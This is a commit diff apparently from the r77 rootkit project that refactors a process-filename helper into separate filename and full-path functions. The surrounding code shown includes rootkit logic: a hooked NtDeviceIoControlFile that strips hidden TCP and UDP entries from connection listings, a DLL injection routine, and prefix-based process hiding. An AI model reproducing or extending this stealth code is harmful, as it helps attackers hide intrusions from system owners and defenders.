Skip to content

Commit 21f3383

Browse files
committed
GetProcessImageFileName test
1 parent 4ed452f commit 21f3383

File tree

5 files changed

+46
-21
lines changed

5 files changed

+46
-21
lines changed

Helper/Helper.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ BOOL GetProcessList(PPROCESS_LIST_ENTRY entries, LPDWORD count)
4040
PPROCESS_LIST_ENTRY entry = &entries[(*count)++];
4141
entry->ProcessId = processEntry.th32ProcessID;
4242
StrCpyW(entry->Name, processEntry.szExeFile);
43-
GetProcessFileName(processEntry.th32ProcessID, TRUE, entry->FullName, MAX_PATH);
43+
GetProcessPath(processEntry.th32ProcessID, entry->FullName, MAX_PATH);
4444

4545
BOOL is64Bit;
4646
if (Is64BitProcess(processEntry.th32ProcessID, &is64Bit))

r77/Hooks.c

Lines changed: 4 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -445,7 +445,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
445445
BOOL hidden = FALSE;
446446
if (nsiParam->Type == NsiTcp)
447447
{
448-
if (processEntry) GetProcessFileName(processEntry->TcpProcessId, FALSE, processName, MAX_PATH);
448+
if (processEntry) GetProcessFileName(processEntry->TcpProcessId, processName, MAX_PATH);
449449

450450
hidden =
451451
IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry->Local.Port)) ||
@@ -456,7 +456,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
456456
}
457457
else if (nsiParam->Type == NsiUdp)
458458
{
459-
if (processEntry) GetProcessFileName(processEntry->UdpProcessId, FALSE, processName, MAX_PATH);
459+
if (processEntry) GetProcessFileName(processEntry->UdpProcessId, processName, MAX_PATH);
460460

461461
hidden =
462462
IsUdpPortHidden(_byteswap_ushort(udpEntry->Port)) ||
@@ -470,14 +470,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
470470
{
471471
if (i < nsiParam->Count - 1) // Do not move following entries, if this is the last entry
472472
{
473-
if (nsiParam->Type == NsiTcp)
474-
{
475-
memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
476-
}
477-
else if (nsiParam->Type == NsiUdp)
478-
{
479-
memmove(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
480-
}
473+
memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
481474

482475
if (statusEntry)
483476
{
@@ -783,7 +776,7 @@ static BOOL GetIsHiddenFromPdhString(LPCWSTR str)
783776
else
784777
{
785778
WCHAR processName[MAX_PATH + 1];
786-
if (GetProcessFileName(processId, FALSE, processName, MAX_PATH))
779+
if (GetProcessFileName(processId, processName, MAX_PATH))
787780
{
788781
if (HasPrefix(processName) || IsProcessNameHidden(processName))
789782
{

r77api/r77process.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize)
1818
// Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS)
1919
BOOL processExcluded = FALSE;
2020
WCHAR processName[MAX_PATH + 1];
21-
if (GetProcessFileName(processId, FALSE, processName, MAX_PATH))
21+
if (GetProcessFileName(processId, processName, MAX_PATH))
2222
{
2323
LPCWSTR exclusions[] = PROCESS_EXCLUSIONS;
2424
for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++)

r77api/r77win.c

Lines changed: 25 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -182,17 +182,17 @@ BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
182182

183183
return result;
184184
}
185-
BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength)
185+
BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
186186
{
187187
BOOL result = FALSE;
188188

189189
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
190190
if (process)
191191
{
192192
WCHAR path[MAX_PATH + 1];
193-
if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
193+
if (GetProcessImageFileNameW(process, path, MAX_PATH))
194194
{
195-
PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path);
195+
PWCHAR resultFileName = PathFindFileNameW(path);
196196
if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
197197
{
198198
StrCpyW(fileName, resultFileName);
@@ -205,6 +205,28 @@ BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD f
205205

206206
return result;
207207
}
208+
BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength)
209+
{
210+
BOOL result = FALSE;
211+
212+
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
213+
if (process)
214+
{
215+
WCHAR path[MAX_PATH + 1];
216+
if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
217+
{
218+
if ((DWORD)lstrlenW(path) <= fileNameLength)
219+
{
220+
StrCpyW(fileName, path);
221+
result = TRUE;
222+
}
223+
}
224+
225+
CloseHandle(process);
226+
}
227+
228+
return result;
229+
}
208230
BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength)
209231
{
210232
BOOL result = FALSE;

r77api/r77win.h

Lines changed: 15 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -91,17 +91,27 @@ LPVOID GetFunction(LPCSTR dll, LPCSTR function);
9191
/// </returns>
9292
BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel);
9393
/// <summary>
94-
/// Gets the filename or the full path of a process.
94+
/// Gets the filename of a process.
9595
/// </summary>
96-
/// <param name="processId">The process ID to retrieve the filename or full path from.</param>
97-
/// <param name="fullPath">TRUE to return the full path, FALSE to return only the filename.</param>
98-
/// <param name="fileName">A buffer to write the filename or full path to.</param>
96+
/// <param name="processId">The process ID to retrieve the filename from.</param>
97+
/// <param name="fileName">A buffer to write the filename to.</param>
9998
/// <param name="fileNameLength">The length of the fileName buffer.</param>
10099
/// <returns>
101100
/// TRUE, if this function succeeds;
102101
/// otherwise, FALSE.
103102
/// </returns>
104-
BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength);
103+
BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
104+
/// <summary>
105+
/// Gets the full path of a process.
106+
/// </summary>
107+
/// <param name="processId">The process ID to retrieve the full path from.</param>
108+
/// <param name="fileName">A buffer to write full path to.</param>
109+
/// <param name="fileNameLength">The length of the fileName buffer.</param>
110+
/// <returns>
111+
/// TRUE, if this function succeeds;
112+
/// otherwise, FALSE.
113+
/// </returns>
114+
BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
105115
/// <summary>
106116
/// Gets the username of a process.
107117
/// </summary>

0 commit comments

Comments
 (0)